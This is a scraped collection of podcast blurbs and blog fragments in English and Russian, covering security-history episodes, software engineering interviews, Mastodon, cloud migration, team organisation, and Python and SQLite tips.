Это четвёртая часть небольшого набора упражнений, посвящённых медитации и стоической философии. Луше начать слушать с эпизода, который называется "Немного про медитацию".Support the show

Our show is all about heroes making great strides in technology. But in InfoSec, not every hero expects to ride off into the sunset. In our series finale, we tackle vulnerability scans, how sharing information can be a powerful tool against cyber crime, and why it’s more important than ever for cybersecurity to have more people, more eyes, and more voices, in the fight.Wietse Venema gives us the story of SATAN, and how it didn’t destroy the world as expected. Maitreyi Sistla tells us how representation helps coders build things that work for everyone. And Mary Chaney shines a light on how hiring for a new generation can prepare us for a bold and brighter future.If you want to read up on som…

What began as a supposed accounting error landed Cliff Stoll in the midst of database intrusions, government organizations, and the beginnings of a newer threat—cyber-espionage. This led the eclectic astronomer-cum-systems administrator to create what we know today as intrusion detection. And it all began at a time when people didn’t understand the importance of cybersecurity. This is a story that many in the infosec community have already heard, but the lessons from Stoll’s journey are still relevant. Katie Hafner gives us the background on this unbelievable story. Richard Bejtlich outlines the “honey pot” that finally cracked open the international case. And Don Cavender discusses the imp…

It’s a strange situation when someone can hold something hostage from halfway around the world. It’s tragic when your own pictures and files are remotely encrypted. But when it’s a hospital’s system? Ransomware becomes a problem about life or death. Eddy Willems recounts his involvement in defeating an early ransomware attack that targeted AIDS researchers. At the time, there was a way to discover the encryption key. But as Moti Yung warned, asymmetric encryption would change everything. In the years since, ransomware attacks have become much more popular—thanks in part to the rise of cryptocurrencies. While criminals think it’s an anonymous way to collect payment, Sheila Warren tells us th…

All communication leaves the possibility for crossed wires. And as we become more connected, there’s a chance for those with ill intentions to steal our information and meddle in our daily lives—with devastating results. Smriti Bhatt breaks down the complexity behind machine-in-the-middle attacks. Johannes Ullrich tells us why we shouldn’t always trust that free WiFi. And the “father of SSL” Taher Elgamal notes that while cryptography can address the increasingly sophisticated nature of malware, there are no safe bets in security.If you want to read up on some of our research on machine in the middle attacks, you can check out all our bonus material over at redhat.com/commandlineheroes.Foll…

Overwhelming numbers are scary—even in the best of circumstances. You can plan for them, build up your defenses, and do everything imaginable to prepare. But when that horde of zombies hits, their sheer numbers can still cause devastation. Botnets are digital zombie hordes. Jamie Tomasello recounts the scale of the Bredolab botnet—and the many malicious kinds of missions it carried out. Martijn Grooten explains how botnets work, and why they can be so difficult to permanently dismantle. And Darren Mott shares some of the successes the FBI had in rounding up some of the world’s most prolific bot herders.If you want to read up on some of our research on botnets, you can check out all our bonu…

Logic bombs rarely have warning sounds. The victims mostly don’t know to expect one. And even when a logic bomb is discovered before it’s triggered, there isn’t always enough time to defuse it. But there are ways to stop them in time. Paul Ducklin recounts the race to defuse the CIH logic bomb—and the horrible realization of how widespread it was. Costin Raiu explains how logic bombs get planted, and all the different kinds of damage they can do. And Manuel Egele shares some strategies for detecting logic bombs before their conditions are met.If you want to read up on some of our research on logic bombs, you can check out all our bonus material over at redhat.com/commandlineheroes. Follow a…

Sometimes a fun game, a friendly email, or an innocuous link can be the most convenient place for an enemy to hide. And its prey is none the wiser—until it strikes. The trojan horse uses many layers of deception to do damage. The ingenuity of these attacks keeps an alarming pace with the technology we use every day. But as long as we stick to trusted sites and sources, we can better the odds against those who use our trusting nature against us. Steve Weisman tells us about how trojans still keep security professionals on the defensive. Josephine Wolff details how these attacks have evolved, and keep evolving, to catch victims off guard. And Yanick Franantonio takes on the new frontier for t…

Computer viruses and worms haunt the internet. They worm their way into a system, replicate, and spread again. It’s a simple process—with devastating consequences. But there’s a whole industry of people that rose up to fight back. Craig Schmugar recalls how he and his team responded to MyDoom, one of the fastest-spreading worms ever. Dr. Nur Zincir-Heywood reveals the inner workings of viruses and worms, and how they draw their names from the world of biology. And security expert Mikko Hypponen shares advice on avoiding malware. But he also warns that we’re in an arms race against malware developers.If you want to read up on some of our research on viruses and worms, you can check out all o…

Malware haunts us all. Viruses, worms, trojan horses, and the harm they do often corrupts the promise of the internet. But the world of computing continues to grow. Though it’s changed us forever, malware hasn’t stopped us from connecting. Season 9 of Command Line Heroes is the culmination of the show. We focus on security and the people who, every day, face the monsters of the digital world. They disinfect computers from viruses, defuse logic bombs, and dismantle botnets. But they can’t do it alone. It’ll take all of us working together to make the world a safer place.The first episode drops February 22, 2022. Subscribe today and sign up for the newsletter to get the latest updates.

Java Applications became the go-to preference of most developers because of the write-once-run-anywhere advantage it gave over other languages. And it didn’t take much time for Java to become the language for the enterprise. Consequently, most enterprises are still running legacy Java Monoliths on their infrastructure. Breaking up a monolith is not an easy process–nor

The post Modernizing the Monolith with Moti Rafalin and Amir Rapson appeared first on Software Engineering Daily.

When Web Assembly was created it was supposed to be a compile target, where you could compile your favorite programming language and then execute it inside of a web browser. This made it possible for developers to choose a programming language like C++ for compute intensive applications. Fermyon is taking Web Assembly to the cloud.

The post Cloud-native WebAssembly with Matt Butcher appeared first on Software Engineering Daily.

If you are a company with a large pool of physical servers, and compute resources sitting in the data center, and you want to use them efficiently, one way to do that would be to virtualize them. Then you can use those smaller virtual compute resources to run whatever workloads you need. VMware is a

The post VMware Tanzu with Betty Junod appeared first on Software Engineering Daily.

With an increasing number of data breaches impacting customer trust, prioritizing data privacy and security is more important than ever. However, as you layer on security and privacy, the overall complexity of a system grows and the data gets harder to use. There’s a constant push and pull between securing and locking down the data

The post Secure Workflows on Sensitive Data with Amruta Moktali appeared first on Software Engineering Daily.

The complexity of the software infrastructure has been increasing as companies have migrated towards kubernetes, containers, microservices and other distributed systems. However the tools around observability and monitoring have not seen much improvement. These tools are usually managed by teams distributed across different locations and time zones, which results in siloing of knowledge of your

The post Collaborative Notebooks for DevOps and SRE with Micha Hernandez appeared first on Software Engineering Daily.

The Presto/Trino project makes distributed querying easier across a variety of data sources. As the need for machine learning and other high volume data applications has increased, the need for support, tooling, and cloud infrastructure for Presto/Trino has increased with it. Starburst helps your teams run fast queries on any data source. With Starburst you

The post Accessing Data at Scale with Justin Borgman appeared first on Software Engineering Daily.

Building and managing data-intensive applications has traditionally been costly and complex, and has placed an operational burden on developers to maintain as their organization scales. Todays’ developers, data scientists, and data engineers need a streamlined, single cloud data platform for building applications, pipelines, and machine learning models — without having to move or copy their

The post Building on the Data Cloud with Torsten Grabs appeared first on Software Engineering Daily.

Companies are rapidly moving to the cloud, and modern businesses are operating faster with a myriad of SaaS tools in their day-to-day operations. Provisioning resources has been easier than ever. With a few clicks you can spin up resources in any part of the world. While we all love the cloud because of the scalability

The post Cloud Asset Management with Serhat Can appeared first on Software Engineering Daily.

Mikko Hypponen is the CRO of WithSecure and a principal research Officer at F-Secure. In this interview with our host, Jordy Monn, he discusses the eventful and rocky early start of his software engineering career, hybrid warfare, reverse engineering, recent exploits like Log for Shell and heart bleed and more. This episode is packed with

The post The Cyber Frontier with Mikko Hypponen appeared first on Software Engineering Daily.

Sponsorship inquiries: [email protected]

The post Tao of React with Alex Kondov appeared first on Software Engineering Daily.

The post Thundra – Lee appeared first on Software Engineering Daily.

The classical computing power has doubled every two years – a pattern known as Moore’s law. However, the ability to fabricate more and more transistors in a computer chip is approaching saturation as we are approaching atomic dimensions. Quantum Computing is a promising technology to take us beyond this. A quantum Computer uses qubits to

The post The Quantum Leap with Dmitri Maslov appeared first on Software Engineering Daily.

The Java Virtual Machine is an abstract machine that makes it possible for you to write Java code once and run it across multiple devices and operating system types. While you can use the OpenJDK it comes with various issues like Security Vulnerabilities and compliance. Azul is a company that specializes in Java for the

The post Azul with John Ceccarelli appeared first on Software Engineering Daily.

Passwordless Authentication is a technique in which users are given access to an environment without entering a password or answering a security question. This allows users to access an environment securely and protects organizations against attack vectors like Keylogging, Brute force methods, and phishing. The company SuperTokens provides secure login and session management for your

The post Open Source Authentication with Advait Ruia and Rishabh Poddar appeared first on Software Engineering Daily.

Monolithic relational databases are the traditional foundation of financial core ledger systems. Nevertheless, the process of building and operating mission-critical ledgers to track and reconcile payments and money movement is complex. Twisp is rethinking core accounting and financial orchestration on a cloud-native ledger system, so developers can stop re-invented the ledger and focus on building

The post Twisp: Reinventing the ledger with Jarred Ward appeared first on Software Engineering Daily.

Давным-давно, на заре эпохи Хэйсэй, Масахиро Хара придумал QR-код — новый формат меток для отслеживания деталей на автомобильном конвейере. Технология оказалась удачной, и спустя 30 лет продолжает проникать в нашу повседневную жизнь. В этом выпуске Хабр ПРО мы обсудили, чем же так удобны QR-коды, какие функции они выполняют в платежных системах и куда могут развиться дальше. Наши гости: → Екатерина Аккузина, руководитель центра развития мобильных платежей, Мир Plat.Form → Игорь Тростников, директор по развитию продуктов СБП, Мир Plat.Form 01:20 Почему технология QR-кодов сейчас так популярна

05:03 Чем технология QR-кодов удобна пользователям

05:36 Как работают платежи с использованием QR-ко…

Старт карьеры в ИТ похож на гонки на выживание: и там и там цели достигают не все. В этом выпуске — те, кто её достиг. Мы поговорили с Junior-разработчиками о том, как они строили карьеру, что им помогало, а что мешало. Итак, сегодня в нашей виртуальной студии

Толибжон Сохибов из Лаборатории Касперского,

Максим Набиуллин из Московского кредитного банка. 00:56 Почему именно ИТ

02:29 Чувствуется ли разница между теми, кто учит программирование со школы, и теми, кто с ним знакомится позже.

04:33 Нужно ли начинать учиться программированию рано

06:14 Самый сложный барьер при поиске работы

10:08 Откуда ждать помощи в обучении

11:44 Как ощущалась нехватка практического опыта

13:38 Как учат командн…

В книгах и фильмах про пиратов всегда были карты сокровищ. В современном мире карты и дополняющие их данные — сокровища сами по себе.

В этом выпуске говорим о геоданных и о том, как разработчики их используют. Завесу тайны над геоданными приоткроют:

Елена Гоголева, начальник управления аналитических исследований и инновационных технологий Промсвязьбанка,

Мария Сакиркина, продуктовый аналитик 2ГИС. 01:05 Где работают с геоданными

02:50 Можно ли считать пиратскую карту Джека Воробья геоданными

03:30 Задачи, в которых помогают геоданные

09:13 Как геоданные помогают выбирать места для магазинов, офисов и банкоматов

10:45 Типовые задачи при работе с данными

15:23 Спасут ли геоданные наш любимый …

Контент — сложный и часто неблагодарный труд, но что-то толкает людей становиться авторами. И дело не только в амбициях — если бы контент не приносил технарям пользу, постов на Хабре бы на порядок меньше. Так какие бенефиты может выжать хороший автор из своего аккаунта? Стоит ли признаваться работодателю, что в свободное время пишешь о технологиях? И есть ли вариант остаться в разработке, если к написанию кода уже подостыл? Спойлер: есть, становитесь деврелами. 1:00 Наши гости: Елена Кабанец, руководитель HR-бренда Сбера, и Григорий Петров, деврел компании Еврон. 1:15 Путь в деврелы начинается со статей? Личный опыт гостя. 4:40 Как Сбер находит авторов внутри команды и мотивирует их писать …

Кто-то называет прогресс движением по кругу, кто-то заменой одних неприятностей другими, а кто-то считает его законом природы. В IT это чувствуется особенно сильно — и в этом выпуске мы обсудим, какой путь прошла фронтенд-разработка. Вспомним, когда вообще появился этот термин, что было до него, поностальгируем о кроссбраузерности и узнаем, смог бы senior десятилетней давности сойти сегодня за джуна. Ностальгировали с опытными фронтендерами: Максимом Ореховым, руководителем центра компетенций по разработке веб-приложений в Промсвязьбанке, и Евгением Дмитриевым, руководителем разработки дизайн-системы ivi. Запись онлайна от 07/07. 1:24 Опыт гостей: первое вхождение во фронтэнд. 2:21 Эпоха ве…

Важен ли вуз для карьеры?.. Однажды в начале 2000-х сисадмин одного регионального оператора связи три дня не мог починить биллинг. Ошибка была очень странной: в некоторых блоках упорно лезла дата 1970-01-01. Сисадмин искал причины повсюду, от формата даты и до взлома, пока не пришёл главный инженер — и не объяснил. Уходя, он посмотрел на окончившего биофак сисадмина, сложил пальцы, сотряс ими и произнёс: «Это база!». Сисадмин был отправлен на курсы — а фраза стала мемной. В этом выпуске мы поговорили о базе. Практика решает, но без теоретического фундамента не достичь высот. Мы обсудили, чего не понимают студенты-технари, с какими навыками студенту идти на первую работу, как совместить её с…

-=Выпуск 69=- Настал сезон, чтоб оглянуться на уходящий потихоньку год: не хочу длинных списков; порассуждаю о всего лишь двух не столько событиях, сколько процессах, которыми лично мне запомнился пейзаж области высоких технологий в 2022. В рассказе я обещаю ссылки на прошлые подкасты здесь в тему метавселенной (в моем её понимании) и на статьи, где можно посмотреть на генеративную графику ныне модных инструментов и поверхностно сравнить их. Майский рассказ на конференции CodeFest-2022 в Новосибирске Первое здесь — как я её для себя понимал (больше года назад) Как полтора года назад из Мастерской-15 Видео со по текстовым описаниям Аналогичное а не ролика

-=Выпуск 68=- Трёп про образование и технологии в нем, про визионерство и немножко про жизнь с давним другом и одним из тех, кто еще с прошлого века строил и продолжает строить интернет в разных местах, в разных компаниях, на разных должностях — но всегда с душой. Ссылки по теме: Упомянутый в разговоре — если хочется его регулярно почитывать

-=Выпуск 67=- Трёп в своем идеальном виде — про всё на свете, куда язык заведёт: про науку, машинное обучение, генеративное искусство, очеловечивание алгоритмов, климатический кризис и странности наших мозгов. Ссылочки на тему упомянутого в выпуске (и ) Текст Лёши Тихонова Лев Манович

-=Выпуск 66=- Аудиоверсия моего открывающего доклада на конференции CodeFest-12 28 мая 2022 в Новосибирске: слегка отредактированная аудиодорожка презентации обрамлена моими уже домашними комментариями. Ссылки по теме: , сооснователями Мастерской-15, исследователями метавселенной Подкаст про то, (пока ее не опошлили)

-=Выпуск 65=- Сумбурный треп о том, как квантовая физика сделала возможными современные информационные технологии и привнесла в них свойственные квантовому миру сложности и странности — и всё это еще до появления квантового компьютера, который сложности добавит с избытком. Немного истории науки, немного технооптимизма, немного метавселенной — зимний согревающий коктейль образца 2022 года.

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

While the cloud migration was happening, Etsy was growing its business and its team.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

While the cloud migration was happening, Etsy was growing its business and its team.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

Figure 1: Federated cloud migration

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

Mastodon servers contain facilities that make it easy to transfer your presence to another Mastodon account.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Unlike Twitter, Mastodon is a federated system.

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

My thinking is that I’ll then monitor my Mastodon followers and if enough followers appear, I’ll think about doing something more sophisticated.

This is where Mastodon and the Fediverse bring a completely new way to think about social media.

The Fediverse is a network of thousands of servers running some social media software, like Mastodon, a microblogging tool often compared to Twitter.

If you are interested in running your own Mastodon server, there are instructions on the main Mastodon website.

This could be especially useful if the members of your organization need to have a social media presence to do their work.

There are new avenues to explore when an organization offers a social media space to its members.

This cancer is the fiction that there was significant election interference in the 2020 elections that caused former President Trump to lose.

The evidence that the 2020 elections did not have any material problems is overwhelming.

Despite this, a now-dominant faction of the Republican party continue to claim fraud in the 2020 elections, a lie that undermines the effective working of future elections.

If trust in the election process dies, then we'll see other means used, including violence.

This is why I'm urging those who aren't inclined to vote, to cast a vote to help contain this threat.

Unlike Twitter, Mastodon is a federated system.

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

My thinking is that I’ll then monitor my Mastodon followers and if enough followers appear, I’ll think about doing something more sophisticated.

Unlike Twitter, Mastodon is a federated system.

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

My thinking is that I’ll then monitor my Mastodon followers and if enough followers appear, I’ll think about doing something more sophisticated.

Good software architecture is very context-specific, analyzing trade-offs that resolve differently across a wide range of environments.

But if there is one thing they all agree on, it's the importance and power of Conway's Law.

A dozen or two people can have deep and informal communications, so Conways Law indicates they will create a monolith.

Further Reading Recognizing the importance of Conway's Law means that budding software architects need to think about IT organization design.

Two worthwhile books on this topic are Agile IT Organization Design by Narayan and Team Topologies by Skelton and Pais.

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Or conversely, the engineering team continually lets down the product team by missing delivery dates, without warning that this might happen.

Eliminating the wall between Product and Engineering is essential to establishing high performing product teams.

Team Norms: Guidelines, principles, ceremonies, and/or sensible defaults for team members to align on how team members are expected to behave, interact, and make decisions.

It’s critical that these direct managers are ali…

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Or conversely, the engineering team continually lets down the product team by missing delivery dates, without warning that this might happen.

Eliminating the wall between Product and Engineering is essential to establishing high performing product teams.

Team Norms: Guidelines, principles, ceremonies, and/or sensible defaults for team members to align on how team members are expected to behave, interact, and make decisions.

It’s critical that these direct managers are ali…

The key to any successful startup is close collaboration between product and engineering.

Engineering might want to build a product that is perfectly scalable for the future with the best developer experience.

Product might want to quickly validate their ideas, and put features out that will entice customers to pay for the product.

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Fortunately, there are some key signs to look for that indicate friction between your product and engineering organizations.

The key to any successful startup is close collaboration between product and engineering.

Engineering might want to build a product that is perfectly scalable for the future with the best developer experience.

Product might want to quickly validate their ideas, and put features out that will entice customers to pay for the product.

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Fortunately, there are some key signs to look for that indicate friction between your product and engineering organizations.

Как писать функции на чистом SQL.

На днях оценил формат JSON Lines.

Это такой CSV на стероидах:Например:

Не самая известная штука в Python — многоточие:Это рабочий код.

В питоне ... (он же Ellipsis ) — реальный объект, который можно использовать в коде.

Ellipsis — единственный экземпляр типа EllipsisType (аналогично тому, как None — единственный экземпляр типа NoneType ):Авторы Python в основном используют ... , чтобы показать, что у типа, метода или функции отсутствует реализация — как в примере с fly() .

И в тайп-хинтах:

Допустим, вы написали утилиту, которая отправляет что угодно в полет:Ну, то есть не прям все что угодно.

Очень удобно — одной функцией запускаем и голубя Френка, и самолет, и даже Супермена:Не то чтобы наши герои особо успешно справлялись с задачей, но запуск на них работает.

Дать понять, что параметр thing в launch() — это не любой объект, а обязательно летающая хреновина с методом fly() .

Если вы привыкли избегать типов, то обойдетесь именем переменной или комментарием к функции:Почему бы и нет.

Беда в том, что чем сложнее код, тем чаще сбоит «описательный» подход.

Там намного больше, чем просто randint()

Временные таблицы в SQLiteБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать.

Представление работает как CTE, но к нему можно обращаться как к обычной таблице и не повторять каждый раз подзапрос.

Как и CTE, представление тоже вычисляется на лету.

-- 1) create once create temp table combined_temp as select v . * , e . name , a . name from vacancy as v join employer as e on e . id = v . employer_id join area as a on a . id = v . area_id ; -- 2) use everywhere select ... from combined_temp where ... group by ... order by ...Технически, SQLite хранит временные таблицы в специальной temp -базе.

Она лежит в отдельном файле на диске и видна только тому соединени…

У вычисляемых столбцов есть еще одно чрезвычайно полезное применение.

Допустим, вы решили вести журнал событий, которые происходят в системе.

События бывают разных типов, у каждого свой набор полей.

Например, вход в систему:Или пополнение счета:Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON.

Заводите таблицу events с единственным полем value :И выбираете события по конкретному объекту:

Питон — объектный язык.

Это здорово и удобно, пока не придется создать 10 млн объектов в памяти, которые благополучно ее и съедят.

Поговорим о том, как уменьшить аппетит.

Допустим, есть у вас простенький объект «питомец» с атрибутами «имя» (строка) и «стоимость» (целое).

Интуитивно кажется, что самое компактное предоставление — в виде кортежа:Замерим, сколько займет в памяти один такой красавчик:

17 модулей с новыми фичами и доработками.

Чтобы не повторять сложные выражения в каждом запросе.

Тут и пригодится постраничный итератор!

Будем продолжать, пока исходная последовательность не закончится:def paginate ( iterable , page_size ): page = [] for item in iterable : page .

append ( item ) if len ( page ) == page_size : yield page page = [] yield pagereader = fetch_toys () page_size = 10_000 for page in paginate ( reader , page_size ) process_batch ( page )Реализация рабочая, но есть проблемка.

А вот практически — да, если перенести как можно больше действий из кода на питоне в библиотечный код на си.

Чтобы не писать такой обход каждый раз с нуля, удобно использовать универсальный постраничный итератор.

Как отредактировать большой запрос за один раз

Предположим, написали вы функцию, которая возвращает емейл пользователя:Одна беда: функция find_by_id() лезет в уж-ж-жасно медленную легаси-систему:Если 100 раз вызвать get_user_email(42) — будет 100 медленных запросов.

Хотя по уму хватило бы и одного.

Что ж, давайте приделаем простенький кеш:

Помогает найти запрос, чтобы не вводить заново.